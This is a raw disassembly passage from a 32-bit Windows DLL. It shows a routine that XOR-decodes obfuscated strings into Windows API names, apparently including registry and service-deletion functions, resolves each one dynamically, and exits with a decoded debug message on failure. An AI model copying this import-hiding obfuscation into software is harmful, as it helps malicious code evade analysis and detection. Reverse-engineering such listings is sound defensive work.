inc ecx
cmp ecx, 0x10
jl 0x10017ac0
lea eax, [esp + 0x3ef]
mov byte [esp + 0x3ff], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1380], eax
test eax, eax
jne 0x10017b82
movaps xmm0, xmmword [0x100a1910]
xor ecx, ecx
movups xmmword [esp + 0x1375], xmm0
mov dword [esp + 0x1395], 0xc5dcd1e6
movaps xmm0, xmmword [0x100a1880]
movups xmmword [esp + 0x1385], xmm0
mov dword [esp + 0x1399], 0xe7c8f5d5
mov dword [esp + 0x139d], 0xd9d1f690
mov word [esp + 0x13a1], 0xdc
nop dword [eax]
mov al, byte [esp + 0x1375]
xor byte [esp + ecx + 0x1376], al
inc ecx
cmp ecx, 0x2c
jl 0x10017b50
lea eax, [esp + 0x1376]
mov byte [esp + 0x13a2], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x70
mov dword [esp + 0x113], 0x17152270
mov dword [esp + 0x117], 0x31f1c33
xor eax, eax
mov dword [esp + 0x11b], 0x9153b15
mov byte [esp + 0x11f], 0
nop
xor byte [esp + eax + 0x114], cl
inc eax
cmp eax, 0xb
jge 0x10017bc6
mov cl, byte [esp + 0x113]
jmp 0x10017bb0
lea eax, [esp + 0x114]
mov byte [esp + 0x11f], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1384], eax
test eax, eax
jne 0x10017c62
movaps xmm0, xmmword [0x100a1650]
movups xmmword [esp + 0xb5a], xmm0
mov dword [esp + 0xb7a], 0xe4bda18f
movaps xmm0, xmmword [0x100a15d0]
movups xmmword [esp + 0xb6a], xmm0
mov dword [esp + 0xb7e], 0xa8ada582
mov byte [esp + 0xb82], cl
mov al, byte [esp + 0xb5a]
xor byte [esp + ecx + 0xb5b], al
inc ecx
cmp ecx, 0x27
jl 0x10017c30
lea eax, [esp + 0xb5b]
mov byte [esp + 0xb82], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a11f0]
movups xmmword [esp + 0x5cf], xmm0
mov dword [esp + 0x5df], 0x7d64695e
mov word [esp + 0x5e3], 0x5f6d
mov byte [esp + 0x5e5], 0
nop
mov al, byte [esp + 0x5cf]
xor byte [esp + ecx + 0x5d0], al
inc ecx
cmp ecx, 0x15
jl 0x10017c90
lea eax, [esp + 0x5d0]
mov byte [esp + 0x5e5], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1388], eax
test eax, eax
jne 0x10017d43
movaps xmm0, xmmword [0x100a1520]
movups xmmword [esp + 0x1792], xmm0
mov word [esp + 0x17c2], 0x989d
movaps xmm0, xmmword [0x100a13c0]
movups xmmword [esp + 0x17a2], xmm0
mov byte [esp + 0x17c4], cl
movaps xmm0, xmmword [0x100a1500]
movups xmmword [esp + 0x17b2], xmm0
mov al, byte [esp + 0x1792]
xor byte [esp + ecx + 0x1793], al
inc ecx
cmp ecx, 0x31
jl 0x10017d11
lea eax, [esp + 0x1793]
mov byte [esp + 0x17c4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1b30]
movups xmmword [esp + 0x5e6], xmm0
mov dword [esp + 0x5f6], 0xe7e5ece9
mov word [esp + 0x5fa], 0xf3e5
mov byte [esp + 0x5fc], 0
nop
mov al, byte [esp + 0x5e6]
xor byte [esp + ecx + 0x5e7], al
inc ecx
cmp ecx, 0x15
jl 0x10017d70
lea eax, [esp + 0x5e7]
mov byte [esp + 0x5fc], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b138c], eax
test eax, eax
jne 0x10017e23
movaps xmm0, xmmword [0x100a1200]
movups xmmword [esp + 0x17c5], xmm0
mov word [esp + 0x17f5], 0x6065
movaps xmm0, xmmword [0x100a1140]
movups xmmword [esp + 0x17d5], xmm0
mov byte [esp + 0x17f7], cl
movaps xmm0, xmmword [0x100a11e0]
movups xmmword [esp + 0x17e5], xmm0
mov al, byte [esp + 0x17c5]
xor byte [esp + ecx + 0x17c6], al
inc ecx
cmp ecx, 0x31
jl 0x10017df1
lea eax, [esp + 0x17c6]
mov byte [esp + 0x17f7], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0980]
movups xmmword [esp + 0x2f1], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x2f1]
xor byte [esp + ecx + 0x2f2], al
inc ecx
cmp ecx, 0xe
jl 0x10017e40
lea eax, [esp + 0x2f2]
mov byte [esp + 0x300], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1390], eax
test eax, eax
jne 0x10017f02
movaps xmm0, xmmword [0x100a0bb0]
movups xmmword [esp + 0x10d4], xmm0
mov dword [esp + 0x10f4], 0xd0f0906
movaps xmm0, xmmword [0x100a0b60]
movups xmmword [esp + 0x10e4], xmm0
mov dword [esp + 0x10f8], 0x2e483f1a
mov dword [esp + 0x10fc], 0x40109
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x10d4]
xor byte [esp + ecx + 0x10d5], al
inc ecx
cmp ecx, 0x2a
jl 0x10017ed0
lea eax, [esp + 0x10d5]
mov byte [esp + 0x10ff], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0be0]
movups xmmword [esp + 0x4ba], xmm0
mov dword [esp + 0x4ca], 0x50c04
nop dword [eax]
mov al, byte [esp + 0x4ba]
xor byte [esp + ecx + 0x4bb], al
inc ecx
cmp ecx, 0x12
jl 0x10017f20
lea eax, [esp + 0x4bb]
mov byte [esp + 0x4cd], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b1394], eax
test eax, eax
jne 0x10017fc2
movaps xmm0, xmmword [0x100a0d60]
movups xmmword [esp + 0x1575], xmm0
movaps xmm0, xmmword [0x100a0e80]
movups xmmword [esp + 0x1585], xmm0
movaps xmm0, xmmword [0x100a09d0]
movups xmmword [esp + 0x1595], xmm0
nop dword [eax]
mov al, byte [esp + 0x1575]
xor byte [esp + ecx + 0x1576], al
inc ecx
cmp ecx, 0x2e
jl 0x10017f90
lea eax, [esp + 0x1576]
mov byte [esp + 0x15a4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0e70]
movups xmmword [esp + 0x521], xmm0
mov dword [esp + 0x531], 0xf2b2d2c
mov byte [esp + 0x535], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x521]
xor byte [esp + ecx + 0x522], al
inc ecx
cmp ecx, 0x13
jl 0x10017ff0
lea eax, [esp + 0x522]
mov byte [esp + 0x535], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b1398], eax
test eax, eax
jne 0x100180a2
movaps xmm0, xmmword [0x100a0fa0]
xor ecx, ecx
movups xmmword [esp + 0x1668], xmm0
mov byte [esp + 0x1698], al
movaps xmm0, xmmword [0x100a1050]
movups xmmword [esp + 0x1678], xmm0
movaps xmm0, xmmword [0x100a0ec0]
movups xmmword [esp + 0x1688], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1668]
xor byte [esp + ecx + 0x1669], al
inc ecx
cmp ecx, 0x2f
jl 0x10018070
lea eax, [esp + 0x1669]
mov byte [esp + 0x1698], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, pe_nt_image_headers32
mov dword [esp + 0x170], 0xe5f0cf80
mov dword [esp + 0x174], 0xf2e5d3ee
xor eax, eax
mov dword [esp + 0x178], 0xe5e3e9f6
mov word [esp + 0x17c], 0xd7
xor byte [esp + eax + 0x171], cl
inc eax
cmp eax, 0xc
jge 0x100180e7
mov cl, byte [esp + 0x170]
jmp 0x100180d1
lea eax, [esp + 0x171]
mov byte [esp + 0x17d], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b139c], eax
test eax, eax
jne 0x10018192
movaps xmm0, xmmword [0x100a1380]
movups xmmword [esp + 0xc7b], xmm0
mov dword [esp + 0xc9b], 0xb7858389
movaps xmm0, xmmword [0x100a1510]
movups xmmword [esp + 0xc8b], xmm0
mov dword [esp + 0xc9f], 0x8981a6c0
mov word [esp + 0xca3], 0x8c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xc7b]
xor byte [esp + ecx + 0xc7c], al
inc ecx
cmp ecx, 0x28
jl 0x10018160
lea eax, [esp + 0xc7c]
mov byte [esp + 0xca4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a13b0]
movups xmmword [esp + 0x536], xmm0
mov dword [esp + 0x546], 0xbf8f818e
mov byte [esp + 0x54a], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0x536]
xor byte [esp + ecx + 0x537], al
inc ecx
cmp ecx, 0x13
jl 0x100181c0
lea eax, [esp + 0x537]
mov byte [esp + 0x54a], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13a0], eax
test eax, eax
jne 0x10018272
movaps xmm0, xmmword [0x100a15a0]
xor ecx, ecx
movups xmmword [esp + 0x1699], xmm0
mov byte [esp + 0x16c9], al
movaps xmm0, xmmword [0x100a1440]
movups xmmword [esp + 0x16a9], xmm0
movaps xmm0, xmmword [0x100a1480]
movups xmmword [esp + 0x16b9], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x1699]
xor byte [esp + ecx + 0x169a], al
inc ecx
cmp ecx, 0x2f
jl 0x10018240
lea eax, [esp + 0x169a]
mov byte [esp + 0x16c9], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xd0
mov dword [esp + 0x22b], 0xb1a483d0
mov dword [esp + 0x22f], 0xb583a4a2
xor eax, eax
mov dword [esp + 0x233], 0xb3b9a6a2
mov word [esp + 0x237], 0x87b5
mov byte [esp + 0x239], 0
nop dword [eax]
xor byte [esp + eax + 0x22c], cl
inc eax
cmp eax, 0xd
jge 0x100182c6
mov cl, byte [esp + 0x22b]
jmp 0x100182b0
lea eax, [esp + 0x22c]
mov byte [esp + 0x239], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13a4], eax
test eax, eax
jne 0x10018372
movaps xmm0, xmmword [0x100a1990]
movups xmmword [esp + 0xea2], xmm0
mov dword [esp + 0xec2], 0xd9dfd5ca
movaps xmm0, xmmword [0x100a18b0]
movups xmmword [esp + 0xeb2], xmm0
mov dword [esp + 0xec6], 0xddfa9ceb
mov word [esp + 0xeca], 0xd0d5
mov byte [esp + 0xecc], cl
nop word [eax + eax]
mov al, byte [esp + 0xea2]
xor byte [esp + ecx + 0xea3], al
inc ecx
cmp ecx, 0x29
jl 0x10018340
lea eax, [esp + 0xea3]
mov byte [esp + 0xecc], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [str.0s_DB_cUBFYSU]
movups xmmword [esp + 0x301], xmm0
mov al, byte [esp + 0x301]
xor byte [esp + ecx + 0x302], al
inc ecx
cmp ecx, 0xe
jl 0x10018381
lea eax, [esp + 0x302]
mov byte [esp + 0x310], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13a8], eax
test eax, eax
jne 0x10018432
movaps xmm0, xmmword [0x100a11c0]
xor ecx, ecx
movups xmmword [esp + 0x1100], xmm0
mov dword [esp + 0x1120], 0x617e7a6d
movaps xmm0, xmmword [0x100a1090]
movups xmmword [esp + 0x1110], xmm0
mov dword [esp + 0x1124], 0x4e286d6b
mov dword [esp + 0x1128], 0x646169
nop
mov al, byte [esp + 0x1100]
xor byte [esp + ecx + 0x1101], al
inc ecx
cmp ecx, 0x2a
jl 0x10018400
lea eax, [esp + 0x1101]
mov byte [esp + 0x112b], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x40
mov dword [esp + 0x23a], 0x2c250440
mov dword [esp + 0x23e], 0x13253425
xor eax, eax
mov dword [esp + 0x242], 0x29363225
mov word [esp + 0x246], 0x2523
mov byte [esp + 0x248], 0
nop dword [eax]
xor byte [esp + eax + 0x23b], cl
inc eax
cmp eax, 0xd
jge 0x10018486
mov cl, byte [esp + 0x23a]
jmp 0x10018470
lea eax, [esp + 0x23b]
mov byte [esp + 0x248], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13ac], eax
test eax, eax
jne 0x10018532
movaps xmm0, xmmword [str.l7__]
xor ecx, ecx
movups xmmword [esp + 0xecd], xmm0
mov dword [esp + 0xeed], 0xf051a1e
movaps xmm0, xmmword [0x100a0b80]
movups xmmword [esp + 0xedd], xmm0
mov dword [esp + 0xef1], 0xd2a4c09
mov byte [esp + 0xef5], 5
mov word [esp + 0xef6], ax
nop dword [eax]
mov al, byte [esp + 0xecd]
xor byte [esp + ecx + 0xece], al
inc ecx
cmp ecx, 0x29
jl 0x10018500
lea eax, [esp + 0xece]
mov byte [esp + 0xef7], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a11b0]
xor ecx, ecx
movups xmmword [esp + 0x54b], xmm0
mov dword [esp + 0x55b], 0x6d7b696a
mov byte [esp + 0x55f], 0
nop word [eax + eax]
mov al, byte [esp + 0x54b]
xor byte [esp + ecx + 0x54c], al
inc ecx
cmp ecx, 0x13
jl 0x10018560
lea eax, [esp + 0x54c]
mov byte [esp + 0x55f], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13b0], eax
test eax, eax
jne 0x10018612
movaps xmm0, xmmword [0x100a1bf0]
movups xmmword [esp + 0x16ca], xmm0
mov byte [esp + 0x16fa], cl
movaps xmm0, xmmword [0x100a1a90]
movups xmmword [esp + 0x16da], xmm0
movaps xmm0, xmmword [0x100a1af0]
movups xmmword [esp + 0x16ea], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x16ca]
xor byte [esp + ecx + 0x16cb], al
inc ecx
cmp ecx, 0x2f
jl 0x100185e0
lea eax, [esp + 0x16cb]
mov byte [esp + 0x16fa], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0fe0]
movups xmmword [esp + 0x5fd], xmm0
mov dword [esp + 0x60d], 0x51525144
mov word [esp + 0x611], 0x5543
mov byte [esp + 0x613], 0
nop
mov al, byte [esp + 0x5fd]
xor byte [esp + ecx + 0x5fe], al
inc ecx
cmp ecx, 0x15
jl 0x10018640
lea eax, [esp + 0x5fe]
mov byte [esp + 0x613], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13b4], eax
test eax, eax
jne 0x100186f2
movaps xmm0, xmmword [0x100a15a0]
movups xmmword [esp + 0x17f8], xmm0
mov word [esp + 0x1828], 0x9095
movaps xmm0, xmmword [0x100a1540]
movups xmmword [esp + 0x1808], xmm0
mov byte [esp + 0x182a], cl
movaps xmm0, xmmword [0x100a1570]
movups xmmword [esp + 0x1818], xmm0
nop dword [eax]
mov al, byte [esp + 0x17f8]
xor byte [esp + ecx + 0x17f9], al
inc ecx
cmp ecx, 0x31
jl 0x100186c0
lea eax, [esp + 0x17f9]
mov byte [esp + 0x182a], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a18c0]
movups xmmword [esp + 0x58c], xmm0
mov dword [esp + 0x59c], 0xc7c9c6ce
mov word [esp + 0x5a0], 0xf7
nop word [eax + eax]
mov al, byte [esp + 0x58c]
xor byte [esp + ecx + 0x58d], al
inc ecx
cmp ecx, 0x14
jl 0x10018720
lea eax, [esp + 0x58d]
mov byte [esp + 0x5a1], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13b8], eax
test eax, eax
jne 0x100187d2
movaps xmm0, xmmword [0x100a1600]
xor ecx, ecx
movups xmmword [esp + 0x16fb], xmm0
mov word [esp + 0x172b], 0xac
movaps xmm0, xmmword [0x100a1630]
movups xmmword [esp + 0x170b], xmm0
movaps xmm0, xmmword [0x100a1680]
movups xmmword [esp + 0x171b], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x16fb]
xor byte [esp + ecx + 0x16fc], al
inc ecx
cmp ecx, 0x30
jl 0x100187a0
lea eax, [esp + 0x16fc]
mov byte [esp + 0x172c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x20
mov dword [esp + 0x249], 0x47457220
mov dword [esp + 0x24d], 0x4e45506f
xor eax, eax
mov dword [esp + 0x251], 0x6559456b
mov word [esp + 0x255], 0x7758
mov byte [esp + 0x257], 0
nop dword [eax]
xor byte [esp + eax + 0x24a], cl
inc eax
cmp eax, 0xd
jge 0x10018826
mov cl, byte [esp + 0x249]
jmp 0x10018810
lea eax, [esp + 0x24a]
mov byte [esp + 0x257], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13bc], eax
test eax, eax
jne 0x100188d2
movaps xmm0, xmmword [0x100a16e0]
movups xmmword [esp + 0xef8], xmm0
mov dword [esp + 0xf18], 0xb489b5a9
movaps xmm0, xmmword [0x100a13f0]
movups xmmword [esp + 0xf08], xmm0
mov dword [esp + 0xf1c], 0xad8aec9b
mov word [esp + 0xf20], 0xa0a5
mov byte [esp + 0xf22], cl
nop word [eax + eax]
mov al, byte [esp + 0xef8]
xor byte [esp + ecx + 0xef9], al
inc ecx
cmp ecx, 0x29
jl 0x100188a0
lea eax, [esp + 0xef9]
mov byte [esp + 0xf22], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1b60]
movups xmmword [esp + 0x400], xmm0
mov word [esp + 0x410], 0xd7
nop dword [eax + eax]
mov al, byte [esp + 0x400]
xor byte [esp + ecx + 0x401], al
inc ecx
cmp ecx, 0x10
jl 0x100188f0
lea eax, [esp + 0x401]
mov byte [esp + 0x411], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13c0], eax
test eax, eax
jne 0x100189b2
movaps xmm0, xmmword [0x100a1910]
xor ecx, ecx
movups xmmword [esp + 0x13a3], xmm0
mov dword [esp + 0x13c3], 0xdfd6def9
movaps xmm0, xmmword [0x100a1880]
movups xmmword [esp + 0x13b3], xmm0
mov dword [esp + 0x13c7], 0xe7c9d5fb
mov dword [esp + 0x13cb], 0xd9d1f690
mov word [esp + 0x13cf], 0xdc
nop dword [eax]
mov al, byte [esp + 0x13a3]
xor byte [esp + ecx + 0x13a4], al
inc ecx
cmp ecx, 0x2c
jl 0x10018980
lea eax, [esp + 0x13a4]
mov byte [esp + 0x13d0], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x90
mov dword [esp + 0x258], 0xf7f5c290
mov dword [esp + 0x25c], 0xfde5fed5
xor eax, eax
mov dword [esp + 0x260], 0xd5e9f5db
mov word [esp + 0x264], 0xc7e8
mov byte [esp + 0x266], 0
nop dword [eax]
xor byte [esp + eax + 0x259], cl
inc eax
cmp eax, 0xd
jge 0x10018a06
mov cl, byte [esp + 0x258]
jmp 0x100189f0
lea eax, [esp + 0x259]
mov byte [esp + 0x266], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13c4], eax
test eax, eax
jne 0x10018ab2
movaps xmm0, xmmword [str.1_]
xor ecx, ecx
movups xmmword [esp + 0xf23], xmm0
mov dword [esp + 0xf43], 0x4390519
movaps xmm0, xmmword [0x100a0e50]
movups xmmword [esp + 0xf33], xmm0
mov dword [esp + 0xf47], 0x1d3a5c2b
mov word [esp + 0xf4b], 0x1015
mov byte [esp + 0xf4d], al
nop word [eax + eax]
mov al, byte [esp + 0xf23]
xor byte [esp + ecx + 0xf24], al
inc ecx
cmp ecx, 0x29
jl 0x10018a80
lea eax, [esp + 0xf24]
mov byte [esp + 0xf4d], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x48
mov dword [esp + 0x267], 0x2f2d1a48
mov dword [esp + 0x26b], 0x253d260d
xor eax, eax
mov dword [esp + 0x26f], 0x3d24291e
mov word [esp + 0x273], 0x1f2d
mov byte [esp + 0x275], 0
nop dword [eax]
xor byte [esp + eax + 0x268], cl
inc eax
cmp eax, 0xd
jge 0x10018b06
mov cl, byte [esp + 0x267]
jmp 0x10018af0
lea eax, [esp + 0x268]
mov byte [esp + 0x275], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13c8], eax
test eax, eax
jne 0x10018bb2
movaps xmm0, xmmword [0x100a1740]
movups xmmword [esp + 0xf4e], xmm0
mov dword [esp + 0xf6e], 0xb1a1b8b5
movaps xmm0, xmmword [0x100a1370]
movups xmmword [esp + 0xf5e], xmm0
mov dword [esp + 0xf72], 0xb592f483
mov word [esp + 0xf76], 0xb8bd
mov byte [esp + 0xf78], cl
nop word [eax + eax]
mov al, byte [esp + 0xf4e]
xor byte [esp + ecx + 0xf4f], al
inc ecx
cmp ecx, 0x29
jl 0x10018b80
lea eax, [esp + 0xf4f]
mov byte [esp + 0xf78], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1020]
movups xmmword [esp + 0x373], xmm0
mov byte [esp + 0x383], 0
nop dword [eax]
mov al, byte [esp + 0x373]
xor byte [esp + ecx + 0x374], al
inc ecx
cmp ecx, 0xf
jl 0x10018bd0
lea eax, [esp + 0x374]
mov byte [esp + 0x383], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13cc], eax
test eax, eax
jne 0x10018c92
movaps xmm0, xmmword [0x100a1650]
movups xmmword [esp + 0x1236], xmm0
mov dword [esp + 0x1256], 0xbda18fa1
movaps xmm0, xmmword [0x100a16f0]
movups xmmword [esp + 0x1246], xmm0
mov dword [esp + 0x125a], 0xe493bc81
mov dword [esp + 0x125e], 0xa8ada582
mov byte [esp + 0x1262], cl
nop dword [eax]
mov al, byte [esp + 0x1236]
xor byte [esp + ecx + 0x1237], al
inc ecx
cmp ecx, 0x2b
jl 0x10018c60
lea eax, [esp + 0x1237]
mov byte [esp + 0x1262], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a0990]
movups xmmword [esp + 0x311], xmm0
mov al, byte [esp + 0x311]
xor byte [esp + ecx + 0x312], al
inc ecx
cmp ecx, 0xe
jl 0x10018ca1
lea eax, [esp + 0x312]
mov byte [esp + 0x320], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
xor ecx, ecx
mov dword [0x100b13d0], eax
test eax, eax
jne 0x10018d62
movaps xmm0, xmmword [0x100a0bb0]
movups xmmword [esp + 0x112c], xmm0
mov dword [esp + 0x114c], 0x2d0d1d04
movaps xmm0, xmmword [0x100a0b70]
movups xmmword [esp + 0x113c], xmm0
mov dword [esp + 0x1150], 0x2e483f10
mov dword [esp + 0x1154], 0x40109
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x112c]
xor byte [esp + ecx + 0x112d], al
inc ecx
cmp ecx, 0x2a
jl 0x10018d30
lea eax, [esp + 0x112d]
mov byte [esp + 0x1157], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x100a1400]
movups xmmword [esp + 0x384], xmm0
mov byte [esp + 0x394], 0
nop dword [eax]
mov al, byte [esp + 0x384]
xor byte [esp + ecx + 0x385], al
inc ecx
cmp ecx, 0xf
jl 0x10018d80
lea eax, [esp + 0x385]
mov byte [esp + 0x394], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13d4], eax
test eax, eax
jne 0x10018e42
movaps xmm0, xmmword [0x100a1740]
xor ecx, ecx
movups xmmword [esp + 0x1263], xmm0
mov dword [esp + 0x1283], 0xb8b582b1
movaps xmm0, xmmword [0x100a15b0]
movups xmmword [esp + 0x1273], xmm0
mov dword [esp + 0x1287], 0xf483b1a1
mov dword [esp + 0x128b], 0xb8bdb592
mov byte [esp + 0x128f], al
nop dword [eax]
mov al, byte [esp + 0x1263]
xor byte [esp + ecx + 0x1264], al
inc ecx
cmp ecx, 0x2b
jl 0x10018e10
lea eax, [esp + 0x1264]
mov byte [esp + 0x128f], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x28
mov dword [esp + 0x276], 0x4f4d7a28
mov dword [esp + 0x27a], 0x4d444d6c
xor eax, eax
mov dword [esp + 0x27e], 0x4d634d5c
mov word [esp + 0x282], 0x7f51
mov byte [esp + 0x284], 0
nop dword [eax]
xor byte [esp + eax + 0x277], cl
inc eax
cmp eax, 0xd
jge 0x10018e96
mov cl, byte [esp + 0x276]
jmp 0x10018e80
lea eax, [esp + 0x277]
mov byte [esp + 0x284], 0
push eax
push dword [0x100b12c4]
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13dc], eax
test eax, eax
jne 0x10018f42
movaps xmm0, xmmword [0x100a1010]
xor ecx, ecx
movups xmmword [esp + 0xf79], xmm0
mov dword [esp + 0xf99], 0x4d517f51
movaps xmm0, xmmword [0x100a0ed0]
movups xmmword [esp + 0xf89], xmm0
mov dword [esp + 0xf9d], 0x55721463
mov word [esp + 0xfa1], 0x585d
mov byte [esp + 0xfa3], al
nop word [eax + eax]
mov al, byte [esp + 0xf79]
xor byte [esp + ecx + 0xf7a], al
inc ecx
cmp ecx, 0x29
jl 0x10018f10
lea eax, [esp + 0xf7a]
mov byte [esp + 0xfa3], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100b12c8]
test edx, edx
je 0x10019033
movaps xmm0, xmmword [0x100a1270]
xor ecx, ecx
movups xmmword [esp + 0x73c], xmm0
mov dword [esp + 0x74c], 0x70697263
mov dword [esp + 0x750], 0x6e6f6974
mov word [esp + 0x754], 0x57
mov al, byte [esp + 0x73c]
xor byte [esp + ecx + 0x73d], al
inc ecx
cmp ecx, 0x18
jl 0x10018f81
lea eax, [esp + 0x73d]
mov byte [esp + 0x755], 0
push eax
push edx
mov ecx, 0x100b12b8
call fcn.1001b880
mov dword [0x100b13e4], eax
test eax, eax
jne 0x10019033
movaps xmm0, xmmword [0x100a14c0]
xor ecx, ecx
movups xmmword [esp + 0x19ce], xmm0
mov dword [esp + 0x19fe], 0x9991b6d0
movaps xmm0, xmmword [0x100a1360]
movups xmmword [esp + 0x19de], xmm0
mov word [esp + 0x1a02], 0x9c
movaps xmm0, xmmword [0x100a1640]
movups xmmword [esp + 0x19ee], xmm0
mov al, byte [esp + 0x19ce]
xor byte [esp + ecx + 0x19cf], al
inc ecx
cmp ecx, 0x34
jl 0x10019001
lea eax, [esp + 0x19cf]
mov byte [esp + 0x1a03], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100b12cc]
test edx, edx
je 0x1001ad42
mov cl, 0x98
mov dword [esp + 0x285], 0xf1e0dd98
mov dword [esp + 0x289], 0xf6f1cfec
xor eax, eax
mov dword [esp + 0x28d], 0xebeff7fc
mov word [esp + 0x291], 0xe0dd
mov byte [esp + 0x293], 0
